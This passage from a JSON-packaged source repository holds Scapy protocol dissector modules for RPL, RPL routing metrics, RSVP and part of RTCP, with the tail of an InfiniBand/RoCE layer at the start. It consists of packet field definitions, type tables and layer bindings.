0),\n    ]\n\n\ndef cnp(dqpn):\n    # type: (int) -> BTH\n    return BTH(opcode=CNP_OPCODE, becn=1, dqpn=dqpn) / CNPPadding()\n\n\nclass GRH(Packet):\n    name = \"GRH\"\n    fields_desc = [\n        BitField(\"ipver\", 6, 4),\n        BitField(\"tclass\", 0, 8),\n        BitField(\"flowlabel\", 6, 20),\n        ShortField(\"paylen\", 0),\n        ByteField(\"nexthdr\", 0),\n        ByteField(\"hoplmt\", 0),\n        XBitField(\"sgid\", 0, 128),\n        XBitField(\"dgid\", 0, 128),\n    ]\n\n\nclass AETH(Packet):\n    name = \"AETH\"\n    fields_desc = [\n        XByteField(\"syndrome\", 0),\n        XBitField(\"msn\", 0, 24),\n    ]\n\n\nbind_layers(BTH, CNPPadding, opcode=CNP_OPCODE)\n\nbind_layers(Ether, GRH, type=0x8915)\nbind_layers(GRH, BTH)\nbind_layers(BTH, AETH, opcode=opcode('RC', 'ACKNOWLEDGE')[0])\nbind_layers(BTH, AETH, opcode=opcode('RD', 'ACKNOWLEDGE')[0])\nbind_layers(UDP, BTH, dport=4791)\n"
  },
  {
    "path": "scapy/contrib/rpl.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2020 Rahul Jadhav <nyrahul@gmail.com>\n\n# scapy.contrib.description = Routing Protocol for LLNs (RPL)\n# scapy.contrib.status = loads\n\n\"\"\"\nRPL\n===\n\nRFC 6550 - Routing Protocol for Low-Power and Lossy Networks (RPL)\ndraft-ietf-roll-efficient-npdao-17 - Efficient Route Invalidation\n\n+----------------------------------------------------------------------+\n| RPL Options : Pad1 PadN TIO RIO PIO Tgt TgtDesc DODAGConfig DAGMC ...|\n+----------------------------------------------------------------------+\n| RPL Msgs : DIS DIO DAO DAOACK DCO DCOACK                             |\n+----------------------------------------------------------------------+\n| ICMPv6 : type 155 RPL                                                |\n+----------------------------------------------------------------------+\n\n\"\"\"\n\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField, \\\n    BitField, BitEnumField, FieldLenField, StrLenField, IntField, \\\n    ConditionalField\nfrom scapy.layers.inet6 import ICMPv6RPL, icmp6ndraprefs, _IP6PrefixField\n\n\n# https://www.iana.org/assignments/rpl/rpl.xhtml#mop\nRPLMOP = {0: \"No Downward routes\",\n          1: \"Non-Storing\",\n          2: \"Storing with no multicast support\",\n          3: \"Storing with multicast support\",\n          4: \"P2P Route Discovery\"}\n\n\n# https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options\nRPLOPTSSTR = {0: \"Pad1\",\n              1: \"PadN\",\n              2: \"DAG Metric Container\",\n              3: \"Routing Information\",\n              4: \"DODAG Configuration\",\n              5: \"RPL Target\",\n              6: \"Transit Information\",\n              7: \"Solicited Information\",\n              8: \"Prefix Information Option\",\n              9: \"Target Descriptor\",\n              10: \"P2P Route Discovery\"}\n\n\nclass _RPLGuessOption(Packet):\n    name = \"Dummy RPL Option class\"\n\n\nclass RPLOptRIO(_RPLGuessOption):\n    \"\"\"\n    Control Option: Routing Information Option (RIO)\n    \"\"\"\n    name = \"Routing Information\"\n    fields_desc = [ByteEnumField(\"otype\", 3, RPLOPTSSTR),\n                   FieldLenField(\"len\", None, length_of=\"prefix\", fmt=\"B\",\n                                 adjust=lambda pkt, x: x + 6),\n                   ByteField(\"plen\", None),\n                   BitField(\"res1\", 0, 3),\n                   BitEnumField(\"prf\", 0, 2, icmp6ndraprefs),\n                   BitField(\"res2\", 0, 3),\n                   IntField(\"rtlifetime\", 0xffffffff),\n                   _IP6PrefixField(\"prefix\", None)]\n\n\nclass RPLOptDODAGConfig(_RPLGuessOption):\n    \"\"\"\n    Control Option: DODAG Configuration\n    \"\"\"\n    name = \"DODAG Configuration\"\n    fields_desc = [ByteEnumField(\"otype\", 4, RPLOPTSSTR),\n                   ByteField(\"len\", 14),\n                   BitField(\"flags\", 0, 4),\n                   BitField(\"A\", 0, 1),\n                   BitField(\"PCS\", 0, 3),\n                   ByteField(\"DIOIntDoubl\", 20),\n                   ByteField(\"DIOIntMin\", 3),\n                   ByteField(\"DIORedun\", 10),\n                   ShortField(\"MaxRankIncrease\", 0),\n                   ShortField(\"MinRankIncrease\", 256),\n                   ShortField(\"OCP\", 1),\n                   ByteField(\"reserved\", 0),\n                   ByteField(\"DefLifetime\", 0xff),\n                   ShortField(\"LifetimeUnit\", 0xffff)]\n\n\nclass RPLOptTgt(_RPLGuessOption):\n    \"\"\"\n    Control Option: RPL Target\n    \"\"\"\n    name = \"RPL Target\"\n    fields_desc = [ByteEnumField(\"otype\", 5, RPLOPTSSTR),\n                   FieldLenField(\"len\", None, length_of=\"prefix\", fmt=\"B\",\n                                 adjust=lambda pkt, x: x + 2),\n                   ByteField(\"flags\", 0),\n                   ByteField(\"plen\", 0),\n                   _IP6PrefixField(\"prefix\", None)]\n\n\nclass RPLOptTIO(_RPLGuessOption):\n    \"\"\"\n    Control Option: Transit Information Option (TIO)\n    \"\"\"\n    name = \"Transit Information\"\n    fields_desc = [ByteEnumField(\"otype\", 6, RPLOPTSSTR),\n                   FieldLenField(\"len\", None, length_of=\"parentaddr\", fmt=\"B\",\n                                 adjust=lambda pkt, x: x + 4),\n                   BitField(\"E\", 0, 1),\n                   BitField(\"flags\", 0, 7),\n                   ByteField(\"pathcontrol\", 0),\n                   ByteField(\"pathseq\", 0),\n                   ByteField(\"pathlifetime\", 0xff),\n                   _IP6PrefixField(\"parentaddr\", None)]\n\n\nclass RPLOptSolInfo(_RPLGuessOption):\n    \"\"\"\n    Control Option: Solicited Information\n    \"\"\"\n    name = \"Solicited Information\"\n    fields_desc = [ByteEnumField(\"otype\", 7, RPLOPTSSTR),\n                   ByteField(\"len\", 19),\n                   ByteField(\"RPLInstanceID\", 0),\n                   BitField(\"V\", 0, 1),\n                   BitField(\"I\", 0, 1),\n                   BitField(\"D\", 0, 1),\n                   BitField(\"flags\", 0, 5),\n                   IP6Field(\"dodagid\", \"::1\"),\n                   ByteField(\"ver\", 0)]\n\n\nclass RPLOptPIO(_RPLGuessOption):\n    \"\"\"\n    Control Option: Prefix Information Option (PIO)\n    \"\"\"\n    name = \"Prefix Information\"\n    fields_desc = [ByteEnumField(\"otype\", 8, RPLOPTSSTR),\n                   ByteField(\"len\", 30),\n                   ByteField(\"plen\", 64),\n                   BitField(\"L\", 0, 1),\n                   BitField(\"A\", 0, 1),\n                   BitField(\"R\", 0, 1),\n                   BitField(\"reserved1\", 0, 5),\n                   IntField(\"validlifetime\", 0xffffffff),\n                   IntField(\"preflifetime\", 0xffffffff),\n                   IntField(\"reserved2\", 0),\n                   IP6Field(\"prefix\", \"::1\")]\n\n\nclass RPLOptTgtDesc(_RPLGuessOption):\n    \"\"\"\n    Control Option: RPL Target Descriptor\n    \"\"\"\n    name = \"RPL Target Descriptor\"\n    fields_desc = [ByteEnumField(\"otype\", 9, RPLOPTSSTR),\n                   ByteField(\"len\", 4),\n                   IntField(\"descriptor\", 0)]\n\n\nclass RPLOptPad1(_RPLGuessOption):\n    \"\"\"\n    Control Option: Pad 1 byte\n    \"\"\"\n    name = \"Pad1\"\n    fields_desc = [ByteEnumField(\"otype\", 0x00, RPLOPTSSTR)]\n\n\nclass RPLOptPadN(_RPLGuessOption):\n    \"\"\"\n    Control Option: Pad N bytes\n    \"\"\"\n    name = \"PadN\"\n    fields_desc = [ByteEnumField(\"otype\", 0x01, RPLOPTSSTR),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\", fmt=\"B\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n\n# https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options\nRPLOPTS = {0: RPLOptPad1,\n           1: RPLOptPadN,\n           # 2: RPLOptDAGMC, defined in rpl_metrics.py\n           3: RPLOptRIO,\n           4: RPLOptDODAGConfig,\n           5: RPLOptTgt,\n           6: RPLOptTIO,\n           7: RPLOptSolInfo,\n           8: RPLOptPIO,\n           9: RPLOptTgtDesc}\n\n\n# RPL Control Message Handling\n\n\nclass _RPLGuessMsgType(Packet):\n    name = \"Dummy RPL Message class\"\n\n    def guess_payload_class(self, payload):\n        if isinstance(payload, str):\n            otype = ord(payload[0])\n        else:\n            otype = payload[0]\n        return RPLOPTS.get(otype)\n\n\nclass RPLDIS(_RPLGuessMsgType, _RPLGuessOption):\n    \"\"\"\n    Control Message: DODAG Information Solicitation (DIS)\n    \"\"\"\n    name = \"DODAG Information Solicitation\"\n    fields_desc = [ByteField(\"flags\", 0),\n                   ByteField(\"reserved\", 0)]\n\n\nclass RPLDIO(_RPLGuessMsgType, _RPLGuessOption):\n    \"\"\"\n    Control Message: DODAG Information Object (DIO)\n    \"\"\"\n    name = \"DODAG Information Object\"\n    fields_desc = [ByteField(\"RPLInstanceID\", 50),\n                   ByteField(\"ver\", 0),\n                   ShortField(\"rank\", 1),\n                   BitField(\"G\", 1, 1),\n                   BitField(\"unused1\", 0, 1),\n                   BitEnumField(\"mop\", 1, 3, RPLMOP),\n                   BitField(\"prf\", 0, 3),\n                   ByteField(\"dtsn\", 240),\n                   ByteField(\"flags\", 0),\n                   ByteField(\"reserved\", 0),\n                   IP6Field(\"dodagid\", \"::1\")]\n\n\nclass RPLDAO(_RPLGuessMsgType, _RPLGuessOption):\n    \"\"\"\n    Control Message: Destination Advertisement Object (DAO)\n    \"\"\"\n    name = \"Destination Advertisement Object\"\n    fields_desc = [ByteField(\"RPLInstanceID\", 50),\n                   BitField(\"K\", 0, 1),\n                   BitField(\"D\", 0, 1),\n                   BitField(\"flags\", 0, 6),\n                   ByteField(\"reserved\", 0),\n                   ByteField(\"daoseq\", 1),\n                   ConditionalField(IP6Field(\"dodagid\", None),\n                                    lambda pkt: pkt.D == 1)]\n\n\nclass RPLDAOACK(_RPLGuessMsgType, _RPLGuessOption):\n    \"\"\"\n    Control Message: Destination Advertisement Object Acknowledgement (DAOACK)\n    \"\"\"\n    name = \"Destination Advertisement Object Acknowledgement\"\n    fields_desc = [ByteField(\"RPLInstanceID\", 50),\n                   BitField(\"D\", 0, 1),\n                   BitField(\"reserved\", 0, 7),\n                   ByteField(\"daoseq\", 1),\n                   ByteField(\"status\", 0),\n                   ConditionalField(IP6Field(\"dodagid\", None),\n                                    lambda pkt: pkt.D == 1)]\n\n\n# https://datatracker.ietf.org/doc/draft-ietf-roll-efficient-npdao/\nclass RPLDCO(_RPLGuessMsgType, _RPLGuessOption):\n    \"\"\"\n    Control Message: Destination Cleanup Object (DCO)\n    \"\"\"\n    name = \"Destination Cleanup Object\"\n    fields_desc = [ByteField(\"RPLInstanceID\", 50),\n                   BitField(\"K\", 0, 1),\n                   BitField(\"D\", 0, 1),\n                   BitField(\"flags\", 0, 6),\n                   ByteField(\"status\", 0),\n                   ByteField(\"dcoseq\", 1),\n                   ConditionalField(IP6Field(\"dodagid\", None),\n                                    lambda pkt: pkt.D == 1)]\n\n\n# https://datatracker.ietf.org/doc/draft-ietf-roll-efficient-npdao/\nclass RPLDCOACK(_RPLGuessMsgType, _RPLGuessOption):\n    \"\"\"\n    Control Message: Destination Cleanup Object Acknowledgement (DCOACK)\n    \"\"\"\n    name = \"Destination Cleanup Object Acknowledgement\"\n    fields_desc = [ByteField(\"RPLInstanceID\", 50),\n                   BitField(\"D\", 0, 1),\n                   BitField(\"flags\", 0, 7),\n                   ByteField(\"dcoseq\", 1),\n                   ByteField(\"status\", 0),\n                   ConditionalField(IP6Field(\"dodagid\", None),\n                                    lambda pkt: pkt.D == 1)]\n\n\n# https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes\nbind_layers(ICMPv6RPL, RPLDIS, code=0)\nbind_layers(ICMPv6RPL, RPLDIO, code=1)\nbind_layers(ICMPv6RPL, RPLDAO, code=2)\nbind_layers(ICMPv6RPL, RPLDAOACK, code=3)\nbind_layers(ICMPv6RPL, RPLDCO, code=7)\nbind_layers(ICMPv6RPL, RPLDCOACK, code=8)\n"
  },
  {
    "path": "scapy/contrib/rpl_metrics.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2020 Rahul Jadhav <nyrahul@gmail.com>\n\n# scapy.contrib.description = Routing Metrics used for Path Calc in LLNs\n# scapy.contrib.status = loads\n\n\"\"\"\nRFC 6551 - Routing Metrics Used for Path Calculation in LLNs\n\n+----------------------------+\n| Metrics & Constraint Types |\n+----------------------------+\n| DAGMC Option               |\n+----------------------------+\n| RPL-DIO                    |\n+----------------------------+\n\"\"\"\n\nimport struct\nfrom scapy.compat import orb\nfrom scapy.packet import Packet\nfrom scapy.fields import ByteEnumField, ByteField, ShortField, BitField, \\\n    BitEnumField, FieldLenField, StrLenField, IntField\nfrom scapy.layers.inet6 import _PhantomAutoPadField, _OptionsField\nfrom scapy.contrib.rpl import RPLOPTSSTR, RPLOPTS\n\n\nclass _DAGMetricContainer(Packet):\n    name = 'Dummy DAG Metric container'\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        tmp_len = self.len\n        if self.len is None:\n            tmp_len = len(pkt) - 2\n        pkt = pkt[:1] + struct.pack(\"B\", tmp_len) + pkt[2:]\n        return pkt\n\n\nDAGMC_OBJTYPE = {1: \"Node State and Attributes\",\n                 2: \"Node Energy\",\n                 3: \"Hop Count\",\n                 4: \"Link Throughput\",\n                 5: \"Link Latency\",\n                 6: \"Link Quality Level\",\n                 7: \"Link ETX\",\n                 8: \"Link Color\"}\n\n\nclass DAGMCObjUnknown(Packet):\n    \"\"\"\n    Dummy unknown metric/constraint\n    \"\"\"\n    name = 'Unknown DAGMC Object Option'\n    fields_desc = [ByteEnumField(\"otype\", 3, DAGMC_OBJTYPE),\n                   FieldLenField(\"olen\", None, length_of=\"odata\", fmt=\"B\"),\n                   StrLenField(\"odata\", \"\",\n                               length_from=lambda pkt: pkt.olen)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *_, **kargs):\n        \"\"\"\n        Dispatch hook for DAGMC sub-fields\n        \"\"\"\n        if _pkt:\n            opt_type = orb(_pkt[0])  # Option type\n            if opt_type in DAGMC_CLS:\n                return DAGMC_CLS[opt_type]\n        return cls\n\n\nAGG_RTMETRIC = {0: \"additive\",\n                1: \"maximum\",\n                2: \"minimum\",\n                3: \"multiplicative\"}  # RFC 6551\n\n\nclass DAGMCObj(Packet):\n    \"\"\"\n    Set the length field in DAG Metric Constraint Control Option\n    \"\"\"\n    name = 'Dummy DAG MC Object'\n    # RFC 6551 - 2.1\n    fields_desc = [ByteEnumField(\"otype\", 0, DAGMC_OBJTYPE),\n                   BitField(\"resflags\", 0, 5),\n                   BitField(\"P\", 0, 1),\n                   BitField(\"C\", 0, 1),\n                   BitField(\"O\", 0, 1),\n                   BitField(\"R\", 0, 1),\n                   BitEnumField(\"A\", 0, 3, AGG_RTMETRIC),\n                   BitField(\"prec\", 0, 4),\n                   ByteField(\"len\", None)]\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        tmp_len = self.len\n        if self.len is None:\n            tmp_len = len(pkt) - 4\n        pkt = pkt[:3] + struct.pack(\"B\", tmp_len) + pkt[4:]\n        return pkt\n\n\nclass RPLDAGMCNSA(DAGMCObj):\n    \"\"\"\n    DAG Metric: Node State and Attributes\n    \"\"\"\n    name = \"Node State and Attributes\"\n    otype = 1\n    # RFC 6551 - 3.1\n    fields_desc = DAGMCObj.fields_desc + [\n        # NSA Object Body Format\n        ByteField(\"res\", 0),\n        BitField(\"flags\", 0, 6),\n        BitField(\"Agg\", 0, 1),  # A\n        BitField(\"Overload\", 0, 1),  # O\n    ]\n\n\nclass RPLDAGMCNodeEnergy(DAGMCObj):\n    \"\"\"\n    DAG Metric: Node Energy\n    \"\"\"\n    name = \"Node Energy\"\n    otype = 2\n    # RFC 6551 - 3.2\n    fields_desc = DAGMCObj.fields_desc + [\n        # NE Sub-Object Format\n        BitField(\"flags\", 0, 4),\n        BitField(\"I\", 0, 1),\n        BitField(\"T\", 0, 2),\n        BitField(\"E\", 0, 1),\n        ByteField(\"E_E\", 0)\n    ]\n\n\nclass RPLDAGMCHopCount(DAGMCObj):\n    \"\"\"\n    DAG Metric: Hop Count\n    \"\"\"\n    name = \"Hop Count\"\n    otype = 3\n    # RFC 6551 - 3.3\n    fields_desc = DAGMCObj.fields_desc + [\n        # Sub-Object Format\n        BitField(\"res\", 0, 4),\n        BitField(\"flags\", 0, 4),\n        ByteField(\"HopCount\", 1)\n    ]\n\n\nclass RPLDAGMCLinkThroughput(DAGMCObj):\n    \"\"\"\n    DAG Metric: Link Throughput\n    \"\"\"\n    name = \"Link Throughput\"\n    otype = 4\n    # RFC 6551 - 4.1\n    fields_desc = DAGMCObj.fields_desc + [\n        # Sub-Object Format\n        IntField(\"Throughput\", 1)\n    ]\n\n\nclass RPLDAGMCLinkLatency(DAGMCObj):\n    \"\"\"\n    DAG Metric: Link Latency\n    \"\"\"\n    name = \"Link Latency\"\n    otype = 5\n    # RFC 6551 - 4.2\n    fields_desc = DAGMCObj.fields_desc + [\n        # NE Sub-Object Format\n        IntField(\"Latency\", 1)\n    ]\n\n\nclass RPLDAGMCLinkQualityLevel(DAGMCObj):\n    \"\"\"\n    DAG Metric: Link Quality Level (LQL)\n    \"\"\"\n    name = \"Link Quality Level\"\n    otype = 6\n    # RFC 6551 - 4.3.1\n    fields_desc = DAGMCObj.fields_desc + [\n        # Sub-Object Format\n        ByteField(\"res\", 0),\n        BitField(\"val\", 0, 3),\n        BitField(\"counter\", 0, 5)\n    ]\n\n\nclass RPLDAGMCLinkETX(DAGMCObj):\n    \"\"\"\n    DAG Metric: Link ETX\n    \"\"\"\n    name = \"Link ETX\"\n    otype = 7\n    # RFC 6551 - 4.3.2\n    fields_desc = DAGMCObj.fields_desc + [\n        # Sub-Object Format\n        ShortField(\"ETX\", 1)\n    ]\n\n\n# Note: Wireshark shows warning decoding LinkColor.\n# This seems to be wireshark issue!\nclass RPLDAGMCLinkColor(DAGMCObj):\n    \"\"\"\n    DAG Metric: Link Color\n    \"\"\"\n    name = \"Link Color\"\n    otype = 8\n    # RFC 6551 - 4.4.1\n    fields_desc = DAGMCObj.fields_desc + [\n        # Sub-Object Format\n        ByteField(\"res\", 0),\n        BitField(\"color\", 1, 10),\n        BitField(\"counter\", 1, 6)\n    ]\n\n\nDAGMC_CLS = {1: RPLDAGMCNSA,\n             2: RPLDAGMCNodeEnergy,\n             3: RPLDAGMCHopCount,\n             4: RPLDAGMCLinkThroughput,\n             5: RPLDAGMCLinkLatency,\n             6: RPLDAGMCLinkQualityLevel,\n             7: RPLDAGMCLinkETX,\n             8: RPLDAGMCLinkColor}\n\n\nclass RPLOptDAGMC(_DAGMetricContainer):\n    \"\"\"\n    Control Option: DAG Metric Container\n    \"\"\"\n    name = \"DAG Metric Container\"\n    fields_desc = [ByteEnumField(\"otype\", 2, RPLOPTSSTR),\n                   ByteField(\"len\", None),\n                   _PhantomAutoPadField(\"autopad\", 0),\n                   _OptionsField(\"options\", [], DAGMCObjUnknown, 8,\n                                 length_from=lambda pkt: 8 * pkt.len)]\n\n\n# https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options\nRPLOPTS.update({2: RPLOptDAGMC})\n"
  },
  {
    "path": "scapy/contrib/rsvp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nRSVP layer\n\"\"\"\n\n# scapy.contrib.description = Resource Reservation Protocol (RSVP)\n# scapy.contrib.status = loads\n\nfrom scapy.compat import chb\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \\\n    IPField, ShortField, StrLenField, XByteField, XShortField\nfrom scapy.layers.inet import IP, checksum\n\nrsvpmsgtypes = {0x01: \"Path\",\n                0x02: \"Reservation request\",\n                0x03: \"Path error\",\n                0x04: \"Reservation request error\",\n                0x05: \"Path teardown\",\n                0x06: \"Reservation teardown\",\n                0x07: \"Reservation request acknowledgment\"\n                }\n\n\nclass RSVP(Packet):\n    name = \"RSVP\"\n    fields_desc = [BitField(\"Version\", 1, 4),\n                   BitField(\"Flags\", 1, 4),\n                   ByteEnumField(\"Class\", 0x01, rsvpmsgtypes),\n                   XShortField(\"chksum\", None),\n                   ByteField(\"TTL\", 1),\n                   XByteField(\"dataofs\", 0),\n                   ShortField(\"Length\", None)]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.Length is None:\n            tmp_len = len(p)\n            tmp_p = p[:6] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff)\n            p = tmp_p + p[8:]\n        if self.chksum is None:\n            ck = checksum(p)\n            p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:]\n        return p\n\n\nrsvptypes = {0x01: \"Session\",\n             0x03: \"HOP\",\n             0x04: \"INTEGRITY\",\n             0x05: \"TIME_VALUES\",\n             0x06: \"ERROR_SPEC\",\n             0x07: \"SCOPE\",\n             0x08: \"STYLE\",\n             0x09: \"FLOWSPEC\",\n             0x0A: \"FILTER_SPEC\",\n             0x0B: \"SENDER_TEMPLATE\",\n             0x0C: \"SENDER_TSPEC\",\n             0x0D: \"ADSPEC\",\n             0x0E: \"POLICY_DATA\",\n             0x0F: \"RESV_CONFIRM\",\n             0x10: \"RSVP_LABEL\",\n             0x11: \"HOP_COUNT\",\n             0x12: \"STRICT_SOURCE_ROUTE\",\n             0x13: \"LABEL_REQUEST\",\n             0x14: \"EXPLICIT_ROUTE\",\n             0x15: \"ROUTE_RECORD\",\n             0x16: \"HELLO\",\n             0x17: \"MESSAGE_ID\",\n             0x18: \"MESSAGE_ID_ACK\",\n             0x19: \"MESSAGE_ID_LIST\",\n             0x1E: \"DIAGNOSTIC\",\n             0x1F: \"ROUTE\",\n             0x20: \"DIAG_RESPONSE\",\n             0x21: \"DIAG_SELECT\",\n             0x22: \"RECOVERY_LABEL\",\n             0x23: \"UPSTREAM_LABEL\",\n             0x24: \"LABEL_SET\",\n             0x25: \"PROTECTION\",\n             0x26: \"PRIMARY PATH ROUTE\",\n             0x2A: \"DSBM IP ADDRESS\",\n             0x2B: \"SBM_PRIORITY\",\n             0x2C: \"DSBM TIMER INTERVALS\",\n             0x2D: \"SBM_INFO\",\n             0x32: \"S2L_SUB_LSP\",\n             0x3F: \"DETOUR\",\n             0x40: \"CHALLENGE\",\n             0x41: \"DIFF-SERV\",\n             0x42: \"CLASSTYPE\",\n             0x43: \"LSP_REQUIRED_ATTRIBUTES\",\n             0x80: \"NODE_CHAR\",\n             0x81: \"SUGGESTED_LABEL\",\n             0x82: \"ACCEPTABLE_LABEL_SET\",\n             0x83: \"RESTART_CA\",\n             0x84: \"SESSION-OF-INTEREST\",\n             0x85: \"LINK_CAPABILITY\",\n             0x86: \"Capability Object\",\n             0xA1: \"RSVP_HOP_L2\",\n             0xA2: \"LAN_NHOP_L2\",\n             0xA3: \"LAN_NHOP_L3\",\n             0xA4: \"LAN_LOOPBACK\",\n             0xA5: \"TCLASS\",\n             0xC0: \"TUNNEL\",\n             0xC1: \"LSP_TUNNEL_INTERFACE_ID\",\n             0xC2: \"USER_ERROR_SPEC\",\n             0xC3: \"NOTIFY_REQUEST\",\n             0xC4: \"ADMIN-STATUS\",\n             0xC5: \"LSP_ATTRIBUTES\",\n             0xC6: \"ALARM_SPEC\",\n             0xC7: \"ASSOCIATION\",\n             0xC8: \"SECONDARY_EXPLICIT_ROUTE\",\n             0xC9: \"SECONDARY_RECORD_ROUTE\",\n             0xCD: \"FAST_REROUTE\",\n             0xCF: \"SESSION_ATTRIBUTE\",\n             0xE1: \"DCLASS\",\n             0xE2: \"PACKETCABLE EXTENSIONS\",\n             0xE3: \"ATM_SERVICECLASS\",\n             0xE4: \"CALL_OPS (ASON)\",\n             0xE5: \"GENERALIZED_UNI\",\n             0xE6: \"CALL_ID\",\n             0xE7: \"3GPP2_Object\",\n             0xE8: \"EXCLUDE_ROUTE\"\n             }\n\n\nclass RSVP_Object(Packet):\n    name = \"RSVP_Object\"\n    fields_desc = [ShortField(\"Length\", 4),\n                   ByteEnumField(\"Class\", 0x01, rsvptypes),\n                   ByteField(\"C_Type\", 1)]\n\n    def guess_payload_class(self, payload):\n        if self.Class == 0x03:\n            return RSVP_HOP\n        elif self.Class == 0x05:\n            return RSVP_Time\n        elif self.Class == 0x0c:\n            return RSVP_SenderTSPEC\n        elif self.Class == 0x13:\n            return RSVP_LabelReq\n        elif self.Class == 0xCF:\n            return RSVP_SessionAttrb\n        else:\n            return RSVP_Data\n\n\nclass RSVP_Data(Packet):\n    name = \"Data\"\n    overload_fields = {RSVP_Object: {\"Class\": 0x01}}\n    fields_desc = [StrLenField(\"Data\", \"\", length_from=lambda pkt:pkt.underlayer.Length - 4)]  # noqa: E501\n\n    def default_payload_class(self, payload):\n        return RSVP_Object\n\n\nclass RSVP_HOP(Packet):\n    name = \"HOP\"\n    overload_fields = {RSVP_Object: {\"Class\": 0x03}}\n    fields_desc = [IPField(\"neighbor\", \"0.0.0.0\"),\n                   BitField(\"inface\", 1, 32)]\n\n    def default_payload_class(self, payload):\n        return RSVP_Object\n\n\nclass RSVP_Time(Packet):\n    name = \"Time Val\"\n    overload_fields = {RSVP_Object: {\"Class\": 0x05}}\n    fields_desc = [BitField(\"refresh\", 1, 32)]\n\n    def default_payload_class(self, payload):\n        return RSVP_Object\n\n\nclass RSVP_SenderTSPEC(Packet):\n    name = \"Sender_TSPEC\"\n    overload_fields = {RSVP_Object: {\"Class\": 0x0c}}\n    fields_desc = [ByteField(\"Msg_Format\", 0),\n                   ByteField(\"reserve\", 0),\n                   ShortField(\"Data_Length\", 4),\n                   ByteField(\"Srv_hdr\", 1),\n                   ByteField(\"reserve2\", 0),\n                   ShortField(\"Srv_Length\", 4),\n                   StrLenField(\"Tokens\", \"\", length_from=lambda pkt:pkt.underlayer.Length - 12)]  # noqa: E501\n\n    def default_payload_class(self, payload):\n        return RSVP_Object\n\n\nclass RSVP_LabelReq(Packet):\n    name = \"Label Req\"\n    overload_fields = {RSVP_Object: {\"Class\": 0x13}}\n    fields_desc = [ShortField(\"reserve\", 1),\n                   ShortField(\"L3PID\", 1)]\n\n    def default_payload_class(self, payload):\n        return RSVP_Object\n\n\nclass RSVP_SessionAttrb(Packet):\n    name = \"Session_Attribute\"\n    overload_fields = {RSVP_Object: {\"Class\": 0xCF}}\n    fields_desc = [ByteField(\"Setup_priority\", 1),\n                   ByteField(\"Hold_priority\", 1),\n                   ByteField(\"flags\", 1),\n                   FieldLenField(\"Name_length\", None, length_of=\"Name\"),\n                   StrLenField(\"Name\", \"\", length_from=lambda pkt:pkt.Name_length),  # noqa: E501\n                   ]\n\n    def default_payload_class(self, payload):\n        return RSVP_Object\n\n\nbind_layers(IP, RSVP, {\"proto\": 46})\nbind_layers(RSVP, RSVP_Object)\n"
  },
  {
    "path": "scapy/contrib/rtcp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Pavel Oborin <oborin.p@gmail.com>\n\n# RFC 3550\n# scapy.contrib.description = Real-Time Transport Control Protocol\n# scapy.contrib.status = loads\n\n\"\"\"\nRTCP (rfc 3550)\n\nUse bind_layers(UDP, RTCP, dport=...) to start using it\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet\nfrom scapy.fields import (\n    BitField,\n    BitFieldLenField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    IntField,\n    LenField,\n    LongField,\n    PacketField,\n    PacketListField,\n    StrLenField,\n    X3BytesField,\n)\n\n\n_rtcp_packet_types = {\n    200: 'Sender report',\n    201: 'Receiver report',\n    202: 'Source description',\n    203: 'BYE',\n    204: 'APP'\n}\n\n\nclass SenderInfo(Packet):\n    name = \"Sender info\"\n    fields_desc = [\n        LongField('ntp_timestamp', None),\n        IntField('rtp_timestamp', None),\n        IntField('sender_packet_count', None),\n        IntField('sender_octet_count', None)\n    ]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass ReceptionReport(Packet):\n    name = \"Reception report\"\n    fields_desc = [\n        IntField('sourcesync', None),\n        ByteField('fraction_lost', None),\n        X3BytesField('cumulative_lost', None),\n        IntField('highest_seqnum_recv', None),\n        IntField('interarrival_jitter', None),\n        IntField('last_SR_timestamp', None),\n        IntField('delay_since_last_SR', None)\n    ]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\n_sdes_chunk_types = {\n    0: \"END\",\n    1: \"CNAME\",\n    2: \"NAME\",\n    3: \"EMAIL\",\n    4: \"PHONE\",\n    5: \"LOC\",\n    6: \"TOOL\",\n    7: \"NOTE\",\n    8: \"PRIV\"\n}\n\n\nclass SDESItem(Packet):\n    name = \"SDES item\"\n    fields_desc = [\n        ByteEnumField('chunk_type', None, _sdes_chunk_types),\n        FieldLenField('length', None, fmt='!b', length_of='value'),\n        StrLenField('value', None, length_from=lambda pkt: pkt.length)\n    ]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass SDESChunk(Packet):\n    name = \"SDES chunk\"\n    fields_desc = [\n        IntField('sourcesync', None),\n        PacketListField(\n            'items', None,\n            next_cls_cb=(\n                lambda x, y, p, z: None if (p and p.chunk_type == 0) else SDESItem\n            )\n        )\n    ]\n\n\nclass RTCP(Packet):\n    name = \"RTCP\"\n\n    fields_desc = [\n        # HEADER\n        BitField('version', 2, 2),\n        BitField('padding', 0, 1),\n        BitFieldLenField('count', 0, 5, count_of='report_blocks'),\n        ByteEnumField('packet_type', 0, 